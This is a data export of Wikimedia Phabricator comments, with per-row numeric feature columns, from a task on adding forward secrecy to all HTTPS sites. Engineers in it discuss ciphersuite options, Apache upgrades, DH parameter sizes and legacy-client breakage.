490619,Add Forward Secrecy to all HTTPS sites,"Apparently back on May 28, Ubuntu released an update to their apache2.2 package (2.2.22-1ubuntu1.9) which backported ECC/ECDH/ECDHE support from upstream.  Just by upgrading this package (which we should do anyways, as it's a sec update), we'll gain PFS for modern clients with a lot of these misc services.  I'll see if I can get the update applied everywhere applicable.",,,1436710451,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,97,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,5.0,0.0,6.0,11.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,2.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,8.0,11.0,9.0,0.0,0.0,0.0,8.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,3.925,0.8,"Apparently back on May 28, Ubuntu released an update to their apache2.2 package (2.2.22-1ubuntu1.9) which backported ECC/ECDH/ECDHE support from upstream.  Just by upgrading this package (which we should do anyways, as it's a sec update), we'll gain PFS for modern clients with a lot of these misc services.  I'll see if I can get the update applied everywhere applicable."
486183,Add Forward Secrecy to all HTTPS sites,">>! In T55259#1424380, @Chmarkine wrote:
> There are more. The `strong` version doesn't allow TLS 1.0, so IE < 11, Android < 4.4, Java < 8, OpenSSL < 1.0, Safari (OS X) < 7 are inaccessible.[1]

IE can handle TSL1.2 with IE8+, just not by default-config (you can enable it in the security-config). While that is of course no way for the ordinary users of Wikipedia, in controlled places like the OTRS it would be no problem to tell the few agents that uses such an old IE to enable TSL1.2 in my eyes.

",,,1435923765,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,96,True,1.0,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,16.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,15.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,14.0,1.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,16.0,11.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.554054054054054,0.7297297297297297,"QUOTE
QUOTE

IE can handle TSL1.2 with IE8+, just not by default-config (you can enable it in the security-config). While that is of course no way for the ordinary users of Wikipedia, in controlled places like the OTRS it would be no problem to tell the few agents that uses such an old IE to enable TSL1.2 in my eyes.

"
486181,Add Forward Secrecy to all HTTPS sites,"Good point, I wasn't thinking about the -TLSv1.0 part when I wrote that last night (or the other big ticket description).  Perhaps we need an intermediate option that's slightly less strong than strong, and just more about ECDHE ciphersuites only.",,,1435923431,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,96,True,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,0.0,14.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,6.0,2.0,10.0,4.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,2.0,4.0,0.0,0.0,4.244897959183674,0.8571428571428571,"Good point, I wasn't thinking about the -TLSv1.0 part when I wrote that last night (or the other big ticket description).  Perhaps we need an intermediate option that's slightly less strong than strong, and just more about ECDHE ciphersuites only."
486167,Add Forward Secrecy to all HTTPS sites,">>! In T55259#1423112, @BBlack wrote:
>If you switch a site to `strong`, it *will* become inaccessible to several insecure and/or legacy client platforms, including: Android 2.x, IE8/XP, Java6, and any automated client code / bots which indirectly use OpenSSL versions < 1.0 (older Linux distros such as Ubuntu Lucid).

There are more. The `strong` version doesn't allow TLS 1.0, so IE < 11, Android < 4.4, Java < 8, OpenSSL < 1.0, Safari (OS X) < 7 are inaccessible.[1]

[1] https://www.ssllabs.com/ssltest/clients.html
",,,1435921878,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,96,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,28.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,2.78,0.72,"QUOTE
QUOTE

There are more. The CODE version doesn't allow TLS 1.0, so IE < 11, Android < 4.4, Java < 8, OpenSSL < 1.0, Safari (OS X) < 7 are inaccessible.[1]

[1] URL
"
485897,Add Forward Secrecy to all HTTPS sites,">>! In T55259#1166856, @DaBPunkt wrote:
> Guys, while it is true that apache 2.2 doesn’t support ECHD, it supports DHE just fine. And DHE IS a PFS. I know that it is a bit slower, but does it really matter for these web-servers?

>>! In T55259#1167839, @JanZerebecki wrote:
> In this case server load is the least of the concerns. Enabling non-EC DHE ciphers may be acceptable. It is necessary if we want to disable no-FS ciphers, which is desirable. Work on this in general is not blocked by the upgrade.
> 
> But there is a big downside to enabling non-EC DHE ciphers on older apaches: they only support something like 1k bit DH parameters. Which means one would decrease key size. I suggest to not enable non-EC DHE on older apaches, but to upgrade them.

Agreed on all points.  Now that the primary production sites are up to speed, we're paying a lot more attention to these issues there as well, and trying to set ever-evolving standards that the other/misc sites can use to follow the primary sites' lead.  The ciphersuite lists were recently updated and refactored a few times and there are now 3 options: `strong`, `compat`, and `compat-dhe`.  You can read the details in the source file itself: https://github.com/wikimedia/operations-puppet/blob/production/modules/wmflib/lib/puppet/parser/functions/ssl_ciphersuite.rb .  In the medium term, we're planning to switch to `compat-dhe` for the primary prod sites and then slowly remove most (eventually, all) of the non-PFS options from `compat-dhe`, and then deprecate the use of `compat` entirely, even for misc sites.  There's a lot of auditing and checking that has to happen along the way (and notification of breakage for small minority client platforms!), but we'll eventually get there.

The TL;DR as it applies to random other/misc apache/nginx instances is:
1. All 3 options offer some degree of forward secrecy, and prefer forward secrecy.
2. If it's apache2.2, it needs upgrading to apache2.4 ASAP, but even before the upgrade it can use `compat`
3. All, regardless of version, need to at least be using `compat`: that's the safe option and the minimum (vs a custom or defaulted list).
4. `compat-dhe` is better than `compat` for secrecy (it enables a common DHE-based option), but comes with a few caveats that may need investigation for some sites:
  1. If apache, needs apache2.4
  2. Absolutely requires that a custom dhparam file of 2048-bit or greater is generated and used in the apache/nginx server config (ssl_ciphersuite doesn't control this at this time)
  3. Must consider that some ancient/un-updated Java 6.x installations out there in the world will be broken for connecting to a site which forces HTTPS + `compat-dhe`.
5. `compat-dhe` will eventually, slowly, lose all fallback non-forward-secret ciphers.  This may take a very long time as we'll be statistically sampling client accesses to the primary wikis and trying to identify possible breakage before disabling them. Likely the final holdout will be however long we have to wait for IE8/WinXP popularity to fall to sufficiently low levels that we can kill compatibility with it.  We may actually do some campaigning on this front along the way to help encourage upgrades.
6. `strong` is an acceptable option for apache2.4/nginx for security-sensitive sites.  All of the ciphers in `strong` are forward-secret and ECDHE-based, so you don't need to even generate a dhparam file/config like you'd have to for `compat-dhe`.  If you switch a site to `strong`, it *will* become inaccessible to several insecure and/or legacy client platforms, including: Android 2.x, IE8/XP, Java6, and any automated client code / bots which indirectly use OpenSSL versions < 1.0 (older Linux distros such as Ubuntu Lucid).  Those losses aren't acceptable for the primary wikis at this time, but they may be acceptable for some of our smaller and more specialized security-sensitive sites from @Chmarkine's excellent list: https://wikitech.wikimedia.org/wiki/HTTPS/domains",,,1435873823,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,96,True,2.142857142857143,0.0,0.42857142857142855,0.42857142857142855,0.42857142857142855,7.428571428571429,1.0,0.0,0.0,0.42857142857142855,1.4285714285714286,1.2857142857142858,0.0,0.0,0.2857142857142857,1.1428571428571428,0.2857142857142857,5.0,10.571428571428571,0.0,1.2857142857142858,0.14285714285714285,0.0,0.0,0.42857142857142855,0.42857142857142855,0.0,0.0,1.1428571428571428,1.0,0.0,4.285714285714286,0.2857142857142857,1.1428571428571428,0.14285714285714285,0.5714285714285714,0.0,0.0,0.0,0.42857142857142855,0.0,0.2857142857142857,0.8571428571428571,2.5714285714285716,0.0,0.42857142857142855,0.2857142857142857,0.2857142857142857,0.2857142857142857,12.857142857142858,0.2857142857142857,1.0,0.0,0.7142857142857143,0.0,0.0,0.0,0.0,1.1428571428571428,0.0,0.14285714285714285,0.8571428571428571,0.14285714285714285,0.14285714285714285,0.2857142857142857,0.5714285714285714,0.0,4.857142857142857,2.0,8.714285714285714,1.0,3.2857142857142856,8.285714285714286,0.0,0.0,0.14285714285714285,0.0,4.714285714285714,0.0,1.4285714285714286,0.0,3.2857142857142856,10.571428571428571,5.714285714285714,0.0,0.14285714285714285,0.0,3.2857142857142856,0.0,0.8571428571428571,1.7142857142857142,0.2857142857142857,1.5714285714285714,0.8571428571428571,0.2857142857142857,1.0,3.8989514459360186,0.7444399919855741,"QUOTE
QUOTE

QUOTE
QUOTE
QUOTE
QUOTE

Agreed on all points.  Now that the primary production sites are up to speed, we're paying a lot more attention to these issues there as well, and trying to set ever-evolving standards that the other/misc sites can use to follow the primary sites' lead.  The ciphersuite lists were recently updated and refactored a few times and there are now 3 options: CODE, CODE, and CODE.  You can read the details in the source file itself: URL .  In the medium term, we're planning to switch to CODE for the primary prod sites and then slowly remove most (eventually, all) of the non-PFS options from CODE, and then deprecate the use of CODE entirely, even for misc sites.  There's a lot of auditing and checking that has to happen along the way (and notification of breakage for small minority client platforms!), but we'll eventually get there.

The TL;DR as it applies to random other/misc apache/nginx instances is:
1. All 3 options offer some degree of forward secrecy, and prefer forward secrecy.
2. If it's apache2.2, it needs upgrading to apache2.4 ASAP, but even before the upgrade it can use CODE
3. All, regardless of version, need to at least be using CODE: that's the safe option and the minimum (vs a custom or defaulted list).
4. CODE is better than CODE for secrecy (it enables a common DHE-based option), but comes with a few caveats that may need investigation for some sites:
  1. If apache, needs apache2.4
  2. Absolutely requires that a custom dhparam file of 2048-bit or greater is generated and used in the apache/nginx server config (ssl_ciphersuite doesn't control this at this time)
  3. Must consider that some ancient/un-updated Java 6.x installations out there in the world will be broken for connecting to a site which forces HTTPS + CODE.
5. CODE will eventually, slowly, lose all fallback non-forward-secret ciphers.  This may take a very long time as we'll be statistically sampling client accesses to the primary wikis and trying to identify possible breakage before disabling them. Likely the final holdout will be however long we have to wait for IE8/WinXP popularity to fall to sufficiently low levels that we can kill compatibility with it.  We may actually do some campaigning on this front along the way to help encourage upgrades.
6. CODE is an acceptable option for apache2.4/nginx for security-sensitive sites.  All of the ciphers in CODE are forward-secret and ECDHE-based, so you don't need to even generate a dhparam file/config like you'd have to for CODE.  If you switch a site to CODE, it *will* become inaccessible to several insecure and/or legacy client platforms, including: Android 2.x, IE8/XP, Java6, and any automated client code / bots which indirectly use OpenSSL versions < 1.0 (older Linux distros such as Ubuntu Lucid).  Those losses aren't acceptable for the primary wikis at this time, but they may be acceptable for some of our smaller and more specialized security-sensitive sites fromSCREEN_NAME's excellent list: URL"
436035,Add Forward Secrecy to all HTTPS sites,"In this case server load is the least of the concerns. Enabling non-EC DHE ciphers may be acceptable. It is necessary if we want to disable no-FS ciphers, which is desirable. Work on this in general is not blocked by the upgrade.

But there is a big downside to enabling non-EC DHE ciphers on older apaches: they only support something like 1k bit DH parameters. Which means one would decrease key size. I suggest to not enable non-EC DHE on older apaches, but to upgrade them.",,,1427827972,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,82,True,0.0,1.0,0.0,0.5,1.5,11.0,2.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,1.0,1.5,0.0,2.5,9.5,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,6.5,1.0,0.5,1.0,0.0,0.0,1.5,0.0,1.0,0.0,2.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,12.5,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,2.5,3.5,10.5,0.5,1.5,5.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,5.0,9.5,5.0,0.0,0.0,0.0,5.0,0.0,1.5,1.0,1.0,1.5,2.0,0.5,0.0,3.743831640058055,0.7904571843251089,"In this case server load is the least of the concerns. Enabling non-EC DHE ciphers may be acceptable. It is necessary if we want to disable no-FS ciphers, which is desirable. Work on this in general is not blocked by the upgrade.

But there is a big downside to enabling non-EC DHE ciphers on older apaches: they only support something like 1k bit DH parameters. Which means one would decrease key size. I suggest to not enable non-EC DHE on older apaches, but to upgrade them."
436010,Add Forward Secrecy to all HTTPS sites,"T83471 - seems like a duplicate of this but was resolved and not visibally public, fixed that

T91504 - OTRS SSL config (this is ticket.wikimedia.org in the linked list above)

T86655 - re: SVN (will probably be rejected in favor of decom)

T82698 - blocker for lists.wm

RT - will probably be rejected in favor of decom? needs ticket though?

T94585 - wikitech-static, needs distro upgrade, ticket created

that leaves from the list:  gerrit? librenms? icinga?  ",,,1427826211,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,82,True,0.0,0.0,0.0,3.0,1.0,2.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,9.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,12.0,12.0,5.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.93,0.63,"T83471 - seems like a duplicate of this but was resolved and not visibally public, fixed that

T91504 - OTRS SSL config (this is ticket.wikimedia.org in the linked list above)

T86655 - re: SVN (will probably be rejected in favor of decom)

T82698 - blocker for lists.wm

RT - will probably be rejected in favor of decom? needs ticket though?

T94585 - wikitech-static, needs distro upgrade, ticket created

that leaves from the list:  gerrit? librenms? icinga?  "
435923,Add Forward Secrecy to all HTTPS sites,"We are currently using this:

    'compat' => 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-E    CDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-    GCM-SHA256:AES256-GCM-SHA384:AES128:AES256:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!DH',

whether it's Apache 2.2 or 2.4",,,1427820323,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,38.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,3.5,29.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,3.2534246575342465,0.32191780821917804,"We are currently using this:

    'compat' => 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-E    CDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-    GCM-SHA256:AES256-GCM-SHA384:AES128:AES256:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!DH',

whether it's Apache 2.2 or 2.4"
435829,Add Forward Secrecy to all HTTPS sites,"Guys, while it is true that apache 2.2 doesn’t support ECHD, it supports DHE just fine. And DHE IS a PFS. I know that it is a bit slower, but does it really matter for these web-servers?",,,1427813261,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,82,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,17.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,11.0,9.0,9.0,2.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,3.260869565217391,0.7608695652173914,"Guys, while it is true that apache 2.2 doesn’t support ECHD, it supports DHE just fine. And DHE IS a PFS. I know that it is a bit slower, but does it really matter for these web-servers?"
435802,Add Forward Secrecy to all HTTPS sites,"Guys, why it is true that apache 2.2 doesn’t support ECHD, it supports DHE just fine. And DHE IS a PFS. I know that it is a bit slower, but does it really matter for these web-servers?",,,1427810665,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,82,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,15.0,0.0,2.0,2.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,17.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,11.0,7.0,9.0,2.0,0.0,0.0,11.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,3.217391304347826,0.7608695652173914,"Guys, why it is true that apache 2.2 doesn’t support ECHD, it supports DHE just fine. And DHE IS a PFS. I know that it is a bit slower, but does it really matter for these web-servers?"
423138,Add Forward Secrecy to all HTTPS sites,"A few servers still do not provide forward secrecy because they need to be upgraded to apache 2.4 to support that. See: https://wikitech.wikimedia.org/wiki/HTTPS/domains

Also we still offer non-FS ciphers, but maybe disabling non-forward-secrecy should be a different task.",,,1425914382,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,79,True,2.0,0.0,0.0,2.0,2.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,8.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,4.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.9183673469387754,0.7959183673469388,"A few servers still do not provide forward secrecy because they need to be upgraded to apache 2.4 to support that. See: URL

Also we still offer non-FS ciphers, but maybe disabling non-forward-secrecy should be a different task."
423101,Add Forward Secrecy to all HTTPS sites,"All Gerrit patchsets linked in this ticket are merged or abandoned.

What's left to do here?",,,1425910239,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,79,True,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,"All Gerrit patchsets linked in this ticket are merged or abandoned.

What's left to do here?"
419408,Add Forward Secrecy to all HTTPS sites,"Change 178676 abandoned by JanZerebecki:
Change ru.wikinews.org to HTTPS only.

Reason:
Was done elsewhere.

[[https://gerrit.wikimedia.org/r/178676]]",,,1425325885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,78,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.185185185185185,0.7407407407407407,"Change 178676 abandoned by JanZerebecki:
Change ru.wikinews.org to HTTPS only.

Reason:
Was done elsewhere.

[[GERRIT_URL]]"
340339,Add Forward Secrecy to all HTTPS sites,Fundraising-tech should be added for the payments.wm.org comment above,,,1418221161,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,67,True,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.636363636363637,1.0,Fundraising-tech should be added for the payments.wm.org comment above
340122,Add Forward Secrecy to all HTTPS sites,"Change 178676 had a related patch set uploaded (by JanZerebecki):
Change ru.wikinews.org to HTTPS only.

[[https://gerrit.wikimedia.org/r/178676]]

#patch-for-review",,,1418164712,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,66,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.90625,0.8125,"Change 178676 had a related patch set uploaded (by JanZerebecki):
Change ru.wikinews.org to HTTPS only.

[[GERRIT_URL]]

#patch-for-review"
257783,Add Forward Secrecy to all HTTPS sites,"I just found that https://payments.wikimedia.org is still using the old cipher suite list: 

TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_RC4_128_SHA
TLS_RSA_WITH_RC4_128_MD5
TLS_RSA_WITH_3DES_EDE_CBC_SHA
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_CBC_SHA

https://www.ssllabs.com/ssltest/analyze.html?d=payments.wikimedia.org",,,1416527953,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,64,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,32.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,25.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.107142857142858,0.7857142857142857,"I just found that URL is still using the old cipher suite list: 

TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_RC4_128_SHA
TLS_RSA_WITH_RC4_128_MD5
TLS_RSA_WITH_3DES_EDE_CBC_SHA
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_CBC_SHA

URL"
257776,Add Forward Secrecy to all HTTPS sites,"Change 149267 merged by Dzahn:
icinga-admin -- update cipher suite list to support PFS

